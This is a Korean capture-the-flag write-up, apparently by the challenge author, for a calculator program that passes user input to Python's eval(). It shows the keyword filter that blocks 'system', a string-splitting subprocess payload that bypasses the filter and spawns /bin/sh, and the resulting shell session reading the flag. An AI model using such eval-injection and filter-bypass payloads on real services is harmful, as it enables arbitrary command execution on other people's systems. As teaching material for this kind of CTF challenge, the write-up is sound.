

Calculator Write-Up

문제작성 : dubini0@Kuality

문제 개요

이 계산기는 매우 과학적입니다.

author : dubini0@Kuality

문제 출제의도

Python jail using subprocess

eval()함수를 이용한 취약점을 이용합니다.

Write-Up

해당 프로그램은 input값을 받아 계산을 해주는 계산기입니다.

```
try:
    term = eval(term)
```

코드 내부의 calc()함수 내부에서 eval함수를 이용합니다. (나름 힌트를 위해 evaluator라고 했...ㅎ)

따라서 이를 이용해 쉘을 획득하면 되는데, 제한사항이 있다면 math라이브러리의 함수로 바꾸는 과정에서 system함수를 필터링합니다.

```
#we secretly check for system(), too!
functions = ['sin', 'cos', 'tan', 'pow', 'cosh', 'sinh', 'tanh', 'sqrt',
'pi', 'radians', 'system']
term = term.lower()

for func in functions:
    if func in term:
        if func == 'system':
            print('Good Try! But no system() func, plz:(')
            return
        withmath = 'math.' + func
        term = term.replace(func, withmath)
```

```
Input : system
Good Try! But no system() func, plz:(

None

Input :
```

따라서 `__builtins__.__dict__['__import__']('os').system('cat flag.txt')` 와 같은 명령어를 사용할 수 없기 때문에 `__import__('subpro'+ 'cess').call(['/bin/sh', '-s'])` 처럼 subprocess를 이용할 경우, shell을 획득할 수 있습니다.

```
Input : __import__('subpro'+ 'cess').call(['/bin/sh', '-s'])
$ ls
calculator.py  flag.txt
$ cat flag.txt
INCO{U_G0T_$oM3_pY7h0n_$k1llz}
$
```

비록 소스코드는 제공되지 않지만, python jail유형이라는 것을 안다면 충분히 풀 수 있는 문제를 출제하였습니다.